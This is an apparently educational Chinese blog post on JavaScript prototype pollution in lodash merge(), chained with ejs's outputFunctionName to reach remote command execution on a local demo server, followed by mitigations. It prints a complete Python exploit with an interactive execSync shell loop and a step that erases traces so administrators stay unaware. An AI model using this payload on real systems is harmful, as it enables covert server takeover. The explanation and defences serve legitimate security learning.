专栏首页秋风的笔记用前端原型链漏洞污染拿下了服务器

用前端原型链漏洞污染拿下了服务器

作为前端开发者,某天偶然遇到了原型链污染漏洞,原本以为没有什么影响,好奇心驱使下,抽丝剥茧,发现原型链污染漏洞竟然也可以拿下服务器的shell管理权限,不可不留意!

某天正奋力的coding,机器人给发了这样一条消息

查看发现是一个叫“原型链污染”(Prototype chain pollution)的漏洞,还好这只是 dev 依赖,当前功能下几乎没什么影响,其修复方式可以通过升级包版本即可。

“原型链污染”漏洞,看起来好高大上的名字,和“互联网黑话”有得一拼,好奇心驱使下,抽丝剥茧地研究一番。

目前该漏洞影响了框架常用的有:

  • Lodash <= 4.15.11
  • Jquery < 3.4.0
  • ...

0x00 同学实现一下对象的合并?

面试官让被面试的同学写个对象合并,该同学一听这问题,就这,就这,30s就写好了一份利用递归实现的对象合并,代码如下:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

可是面试的同学不知道,他实现的代码,会埋下一个原型链污染的漏洞,大家下次面试新同学的时候,可以问问了

为啥会有原型链污染漏洞?

那么接下来,我们一起深入浅出地认识一下原型链漏洞,以便于在日常开发过程中就规避掉这些可能的风险。

0x01 JavaScript中的原型链

1.1 基本概念

在javaScript中,实例对象与原型之间的链接,叫做原型链。其基本思想是利用原型让一个引用类型继承另一个引用类型的属性和方法。然后层层递进,就构成了实例与原型的链条,这就是所谓原型链的基本概念。

三个名词:

  1. 隐式原型:所有引用类型(函数、数组、对象)都有 __proto__ 属性,例如arr.__proto__
  2. 显式原型:所有函数拥有prototype属性,例如:func.prototype
  3. 原型对象:拥有prototype属性的对象,在定义函数时被创建

原型链之间的关系可以参考图1.1:

图1.1 原型链关系图

1.2 原型链查找机制

当一个变量在调用某方法或属性时,如果当前变量并没有该方法或属性,就会在该变量所在的原型链中依次向上查找是否存在该方法或属性,如果有则调用,否则返回undefined

1.3 哪里会用到

在开发中,常常会用到 toString()valueOf()等方法,array类型的变量拥有更多的方法,例如forEach()map()includes()等等。例如声明了一个arr数组类型的变量,arr变量却可以调用如下图中并未定义的方法和属性。

通过变量的隐式原型可以查看到,数组类型变量的原型中已经定义了这些方法。例如某变量的类型是Array,那么它就可以基于原型链查找机制,调用相应的方法或属性。

1.4 风险点分析&原型链污染漏洞原理

首先看一个简单的例子:

var a = {name: 'dyboy', age: 18};
a.__proto__.role = 'administrator'
var b = {}
b.role    // output: administrator

实际运行结果如下:

运行结果

可以发现,给隐式原型增加了一个role的属性,并且赋值为administrator(管理员)。在实例化一个新对象b的时候,虽然没有role属性,但是通过原型链可以读取到通过对象a在原型链上赋值的‘administrator’。

问题就来了,__proto__指向的原型对象是可读可写的,如果通过某些操作(常见于mergeclone等方法),使得黑客可以增、删、改原型链上的方法或属性,那么程序就可能会因原型链污染而受到DOS、越权等攻击

0x02 Demo演示 & 组合拳

2.1 Demo演示

Demo使用koa2来实现的服务端:

const Koa = require("koa");
const bodyParser = require("koa-bodyparser");
const _ = require("lodash");

const app = new Koa();
app.use(bodyParser());

// 合并函数
const combine = (payload = {}) => {
  const prefixPayload = { nickname: "bytedanceer" };
  // 用法可参考:https://lodash.com/docs/4.17.15#merge
  _.merge(prefixPayload, payload);
  // 另外其他也存在问题的函数:merge defaultsDeep mergeWith
};

app.use(async (ctx) => {
  // 某业务场景下,合并了用户提交的payload
  if(ctx.method === 'POST') {
    combine(ctx.request.body);
  }
  // 某页面某处逻辑
  const user = {
    username: "visitor",
  };
  let welcomeText = "同学,游泳健身,了解一下?";
  // 因user.role不存在,所以恒为假(false),其中代码不可能执行
  if (user.role === "admin") {
    welcomeText = "尊敬的VIP,您来啦!";
  }
  ctx.body = welcomeText;
});
app.listen(3001, () => {
  console.log("Running: http://localohost:3001");
});

当一个游客用户访问网址:http://127.0.0.1:3001/ 时,页面会显示“同学,游泳健身,了解一下?”

可以看到在代码中使用了loadsh(4.17.10版本)的merge()函数,将用户的payloadprefixPayload做了合并。

乍一看,似乎并没有什么问题,对于业务似乎也不会产生什么问题,无论用户访问什么都应该只会返回“同学,游泳健身,了解一下?”这句话,程序上user.role是一个恒为为undefined的条件,则永远不会执行if判断体中的代码。

然而使用特殊的payload测试,也就是运行一下我们的attack.py脚本

当我们再访问http://127.0.0.1:3001时,会发现返回的结果如下:

瞬间变成了健身房的VIP对吧,可以快乐白嫖了?此时,无论什么用户访问这个网址,返回的网页都会是显示如上结果,人人VIP时代。如果是咱写的代码在线上出现这问题,【事故通报】了解一下。

attact.py 的代码如下:

import requests
import json
req = requests.Session()
target_url = 'http://127.0.0.1:3001'
headers = {'Content-type': 'application/json'}
# payload = {"__proto__": {"role": "admin"}}
payload = {"constructor": {"prototype": {"role": "admin"}}}
res = req.post(target_url, data=json.dumps(payload),headers=headers)
print('攻击完成!')

攻击代码中的payload:{"constructor": {"prototype": {"role": "admin"}}} 通过merge() 函数实现合并赋值,同时,由于payload设置了constructormerge时会给原型对象增加role属性,且默认值为admin,所以访问的用户变成了“VIP”

2.2 分析一下loadsh中merge函数的实现

分析的lodash版本4.17.10(感兴趣的同学可以拿到源码自己手动追溯👀)node_modules/lodash/merge.js中通过调用了baseMerge(object, source, srcIndex)函数 则定位到:node_modules/lodash/_baseMerge.js 第20行的baseMerge函数

function baseMerge(object, source, srcIndex, customizer, stack) {
  if (object === source) {
    return;
  }
  baseFor(source, function(srcValue, key) {
    // 如果合并的属性值是对象
    if (isObject(srcValue)) {
      stack || (stack = new Stack);
      // 调用 baseMerge
      baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);
    }
    else {
      var newValue = customizer
        ? customizer(safeGet(object, key), srcValue, (key + ''), object, source, stack)
        : undefined;
      if (newValue === undefined) {
        newValue = srcValue;
      }
      assignMergeValue(object, key, newValue);
    }
  }, keysIn);
}

关注到safeGet的函数:

function safeGet(object, key) {
  return key == '__proto__'
    ? undefined
    : object[key];
}

这也是为什么上面的payload为什么没使用__proto__而是使用了等同于这个属性的构造函数的prototype

payload是一个对象因此定位到node_modules/lodash/_baseMergeDeep.js第32行:

function baseMergeDeep(object, source, key, srcIndex, mergeFunc, customizer, stack) {
  var objValue = safeGet(object, key),
      srcValue = safeGet(source, key),
      stacked = stack.get(srcValue);
  if (stacked) {
    assignMergeValue(object, key, stacked);
    return;
  }

定位函数assignMergeValuenode_modules/lodash/_assignMergeValue.js第13行

function assignMergeValue(object, key, value) {
  if ((value !== undefined && !eq(object[key], value)) ||
      (value === undefined && !(key in object))) {
    baseAssignValue(object, key, value);
  }
}

再定位baseAssignValuenode_modules/lodash/_baseAssignValue.js第12行

function baseAssignValue(object, key, value) {
  if (key == '__proto__' && defineProperty) {
    defineProperty(object, key, {
      'configurable': true,
      'enumerable': true,
      'value': value,
      'writable': true
    });
  } else {
    object[key] = value;
  }
}

绕过了if判断,然后进入else逻辑中,是一个简单的直接赋值操作,并未对constructorprototype进行判断,因此就有了:

prefixPayload = { nickname: "bytedanceer" };
// payload:{"constructor": {"prototype": {"role": "admin"}}}
_.merge(prefixPayload, payload);
// 然后就给原型对象赋值了一个名为role,值为admin的属性

故而导致了用户会进入一个不可能进入的逻辑里,也就造成了上面出现的“越权”问题。

2.3 漏洞组合拳,拿下服务器权限

从上面的Demo案例中,你可能会有种错觉:原型链漏洞似乎并没有什么太大的影响,是不是不需要特别关注(相较于sql注入,xsscsrf等漏洞)。

真的是这样吗?来看一个稍微修改了的另一个例子(增加使用了ejs渲染引擎),以原型链污染漏洞为基础,我们一起拿下服务器的shell

const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const app = express();
app
    .use(bodyParser.urlencoded({extended: true}))
    .use(bodyParser.json());
app.set('views', './views');
app.set('view engine', 'ejs');
app.get("/", (req, res) => {
    let title = '游客你好';
    const user = {};
    if(user.role === 'vip') {
        title = 'VIP你好';
    }
    res.render('index', {title: title});
});
app.post("/", (req, res) => {
    let data = {};
    let input = req.body;
    lodash.merge(data, input);
    res.json({message: "OK"});
});
app.listen(8888, '0.0.0.0');

该例子基于express+ejs+lodash,同理,访问localhost:8888也是只会显示游客你好,同上可以使用原型链攻击,使得“人人VIP”,但不仅限于此,我们还可以深入利用,借助ejs的渲染以及包含原型链污染漏洞的lodash就可以实现RCERemote Code Excution,远程代码执行)

先看看我们可以实现的攻击效果:

可以看到,借助attack.py脚本,我们可以执行任意的shell命令,于此同时我们还保证了不会影响其他用户(管理员无法轻易感知入侵),在接下来的情况黑客就会常识性地进行提权、权限维持、横向渗透等攻击,以获取更大利益,但与此同时,也会给企业带来更大损失。

上面的攻击方法,是基于loadsh的原型链污染漏洞和ejs模板渲染相配合形成的代码注入,进而形成危害更大的RCE漏洞。

接下来看看形成漏洞的原因:

  1. 打断点调试render方法
  1. 进入render方法,将options和模板名传给app.render()
  1. 获取到对应的渲染引擎ejs
  1. 进入一个异常处理
  1. 继续
  1. 通过模板文件渲染
  1. 处理缓存,这个函数也没啥可以利用的地方
  1. 终于来到模板编译的地方了
  1. 继续冲
  1. 终于进入ejs库里了

在这个文件当中,发现第578行的opts.outputFunctionName是一undefined的值,如果该属性值存在,那么就拼接到变量prepended中,之后的第597行可以看到,作为了输出源码的一部分

在697行,将拼接的源码,放到了回调函数中,然后返回该回调函数

  1. tryHandleCache中调用了该回调函数

最后完成了渲染输出到客户端。

可以发现在第10步骤中,第578行的opts.outputFunctionName是一undefined的值,我们通过对象原型链赋值一个js代码,那么它就会拼接到代码中(代码注入),并且在模版渲染的过程中会执行该js代码。

nodejs环境下,可以借助其可调用系统方法代码拼接到该渲染回调函数中,作为函数体传递给回调函数,那么就可以实现远程任意代码执行,也就是上面演示的效果,用户可以执行任意系统命令。

2.4 优雅地实现一个攻击脚本

优雅的地方就在于,让管理员和其他用户基本不会有感知,能够偷偷摸摸拿下服务器的shell。

Exploit完整脚本如下:

import requests
import json

req = requests.Session()

target_url = 'http://127.0.0.1:8888'

headers = {'Content-type': 'application/json'}

# 无效攻击
# payload = {"__proto__": {"role": "vip"}}

# 普通的逻辑攻击
payload = {"content":{"constructor": {"prototype": {"role": "vip"}}}}

# RCE攻击
# payload = {"content":{"constructor": {"prototype": {"outputFunctionName": "a; return global.process.mainModule.constructor._load('child_process').execSync('ls /'); //"}}}}

# 反弹shell,比如反弹到MSF/CS上

# 模拟一个交互式shell
if __name__ == "__main__":
    payload = '\{"content":\{"constructor": \{"prototype": \{"outputFunctionName": "a; return global.process.mainModule.constructor._load(\'child_process\').execSync(\'{}\'); //"\}\}\}\}'
    while(True):
        shell = input('shell: ')
        if shell == '':
            continue
        if shell == 'exit':
            break
        formatStr = "a; return global.process.mainModule.constructor._load('child_process').execSync('" + shell +"'); //"
        payload = {"content":{"constructor": {"prototype": {"outputFunctionName": formatStr}}}}

        res = req.post(target_url, data=json.dumps(payload),headers=headers)

        res2 = req.get(target_url)

        print(res2.text)

        # 处理痕迹
        formatStr = "a; return delete Object.prototype['outputFunctionName']; //"
        payload = {"content":{"constructor": {"prototype": {"outputFunctionName": formatStr}}}}
        res = req.post(target_url, data=json.dumps(payload),headers=headers)
        req.get(target_url)

0x03 如何规避或修复漏洞

3.1 可能存在漏洞的场景

  • 对象克隆
  • 对象合并
  • 路径设置

3.2 如何规避

首先,原型链的漏洞其实需要攻击者对于项目工程或者能够通过某些方法(例如文件读取漏洞)获取到源码,攻击的研究成本较高,一般不用担心。但攻击者可能会通过一些脚本进行批量黑盒测试,或借助某些经验或规律,便可降低研究成本,所以也不能轻易忽略此问题。

  1. 及时升级包版本:公司的研发体系中,安全运维参与整个过程,在打包等操作时,会自动触发安全检测,其实就提醒了开发者可能存在有风险的三方包,这就需要大家及时升级对应的三方包到最新版,或者尝试替换更加安全的包。
  2. 关键词过滤:结合漏洞可能存在场景,可多关注下对象拷贝和合并等代码块,是否针对__proto__constructorprototype关键词做过滤。
  3. 使用hasOwnProperty来判断属性是否直接来自于目标,这个方法会忽略从原型链上继承到的属性。
  4. 在处理 json 字符串时进行判断,过滤敏感键名。
  5. 使用 Object.create(null) 创建没有原型的对象。
  6. Object.freeze(Object.prototype)冻结Object的原型,使Object的原型无法被修改,注意该方法是一个浅层冻结。

0x04 问题 & 探索

4.1 更多问题

  1. Q:为什么在demo案例中payload中不用__proto__

A:在我使用的loadsh库4.17.10版本中,发现针对__proto__关键词做了判断和过滤,因此想到了通过访问构造函数的prototype的方式绕过

  1. Q:在Demo中,为什么被攻击后,任意用户访问都是VIP身份了?

AJavaAcript是单线程执行程序的,所以原型链上的属性相当于是global,所有连接的用户都共享,当某个用户的操作改变了原型链上的内容,那么所有访问者访问程序的都是基于修改之后的原型链

4.2 探索

作为安全研究人员,上面演示的原型链漏洞看似威胁并不大,但实际上黑客的攻击往往是漏洞的组合,当一个轻危级别的漏洞,作为高危漏洞的攻击的基础,那么低危漏洞还能算是低危漏洞吗?这更需要安全研究人员,不仅要追求对高危漏洞的挖掘,还得增强对基础漏洞的探索意识。

作为开发人员,我们可以尝试下,如何借助工具快速检测程序中是否存在原型链污染漏洞,以期望加强企业程序的安全性。幸运的是,在公司内部已经通过编译平台做了一些安全检查,大家可以加强对于安全的关注度。

原型链污染的利用难度虽然较大,但是基于其特性,所有的开源库都在npm上可以看到,如果恶意的黑客,通过批量检测开源库,并且通过搜集特征,那么他想要获取攻击目标程序的是否引用具有漏洞的开源库也并非是一件困难的事情。

那么我们自己写一个脚本去Github上刷一波,也不是不行...

如有不妥之处,欢迎大家留言斧正!

Reference

  • 继承与原型链(MDN)
  • Prototype pollution attack (lodash)
  • JavaScript_prototype pollution attack in NodeJS
  • Lodash Document
  • JS冻结对象的《人间词话》 完美实现究竟有几层?
  • Web前端安全合规编码指导 v1.0
  • 国家信息安全漏洞共享平台

关注公众号木及简历,一个用Markdown就能写好简历的工具。

我们的使命是「您只专注内容本身,简历排版交给木及」。

在线地址:https://resume.mdedit.online/

本文分享自微信公众号 - 秋风的笔记(qiufengnote)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2021-08-30

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 利用原型链漏洞污染拿下服务器权限

    面试的时候面试官大概率会出一个平平无奇的小问题来热热身,比如说写一个合并函数,读者估计会觉得:就这?不到30s就可以写好了一份利用递归实现的对象合并,代码如下:

    Yerik
  • jQuery框架漏洞全总结及开发建议

    jQuery是一个快速、简洁的JavaScript框架,是一个丰富的JavaScript代码库。jQuery设计的目的是为了写更少的代码,做更多的事情。它封装J...

    Jayway
  • Lodash 严重安全漏洞背后 你不得不知道的 JavaScript 知识

    可能有信息敏感的同学已经了解到:Lodash 库爆出严重安全漏洞,波及 400万+ 项目。这个漏洞使得 lodash “连夜”发版以解决潜在问题,并强烈建议开发...

    Fundebug
  • 干货 | IAST安全测试如何防止数据污染

    Eric,携程资深开发工程师,关注应用安全、渗透测试方面的技术和相关开源产品的二次开发。

    携程技术
  • HPP攻击原理介绍和利用

    注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。

    WeiyiGeek
  • CVE-2019-7609 Kibana远程代码执行漏洞攻击方法和漏洞原理分析

    本漏洞的exp放出来快一星期了,目前网上的分析文章也出了几篇,但是大都集中于通过容器简单复现攻击过程,没有深入的分析产生原因和exp的构造原理。笔者借鉴了大牛M...

    FB客服
  • JavaScript原型链污染原理及相关CVE漏洞剖析

    2019年初,Snyk的安全研究人员披露了流行的JavaScript库Lodash中一个严重漏洞的详细信息,该漏洞使黑客能够攻击多个Web应用程序,这个安全漏洞...

    FB客服
  • 参数污染漏洞(HPP)挖掘技巧及实战案例全汇总

    HTTP参数污染,也叫HPP(HTTP Parameter Pollution)。简单地讲就是给一个参数赋上两个或两个以上的值,由于现行的HTTP标准没有提及在...

    Jayway
  • Spring Framework多个安全漏洞预警

    安全漏洞公告 2018年4月5日,Pivotal发布了Spring Framework存在多个安全漏洞的公告: (1)spring-messaging模块远程代...

    安恒信息
  • 物联网开源组件安全:Node-RED白盒审计

    Node-RED是IBM开源的低代码物联网编排工具,有广泛应用,包括研华WISE PaaS、西门子Iot2000、美国groov EPIC/groov RIO等...

    腾讯安全应急响应中心
  • 如何使用JSPanda扫描客户端原型污染漏洞

    JSPanda是一款功能强大的客户端原型污染漏洞扫描工具,该工具可以对从源代码中收集的所有单词进行污染操作,并将其显示在屏幕上。因此,它可能会产生假阳性结果。这...

    FB客服
  • 利用HTTP参数污染方式绕过谷歌reCAPTCHA验证机制

    今年初,我上报了一个谷歌reCAPTCHA验证码绕过漏洞,该漏洞在于能用一种HTTP参数污染的不安全方式,让Web页面上的reCAPTCHA构造一个针对 /re...

    FB客服
  • Kibana 任意代码执行漏洞

    这几天,有人公开了 Kibana 任意代码执行漏洞(CVE-2019-7609)的 POC。这个漏洞的主要原理是因为 Kibana 中的 Timelion 中具...

    madneal
  • HITB AMS 2021 议题分析与学习,感叹华人真多

    最近也看到一些微博或公众号提到HITB会议的一些议题,就是分享链接,但还没人聊过里面的议题,今天我又批量下载议题pdf学习下。老规矩,聊聊一些自己感兴趣的话题。

    泉哥
  • IT监控开源软件Nagios曝13个漏洞,攻击链完整

    根据最新消息,Nagios软件中包含13个漏洞,极有可能被恶意利用,使得攻击者可以劫持基础设施。漏洞涵盖了远程代码执行和特权升级。

    FB客服
  • GKCTF-WEB题目部分复现

    我们根据代码可以得到,我们需要传入Ginkgo参数,其值需要经过base64进行加密,后端进行解码通过eval函数执行,所以我们可以传入base64编码后的一句...

    ly0n
  • 干货 | 携程安全自动化测试之路

    作者简介 陈莹,携程信息安全部安全开发工程师。2013年加入携程,主要负责各类安全工具的研发,包括线上日志异常分析,实时攻击检测, 漏洞扫描等。 一、背景 业...

    携程技术
  • 记一次服务器被植入挖矿木马CPU飙升200%解决过程!

    线上服务器用的是某讯云的,欢快的完美运行着Tomcat,MySQL,MongoDB,ActiveMQ等程序。突然一则噩耗从前线传来:网站不能访问了!

    Java后端技术
  • RPO攻击原理介绍和利用

    注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。

    WeiyiGeek

扫码关注云+社区

领取腾讯云代金券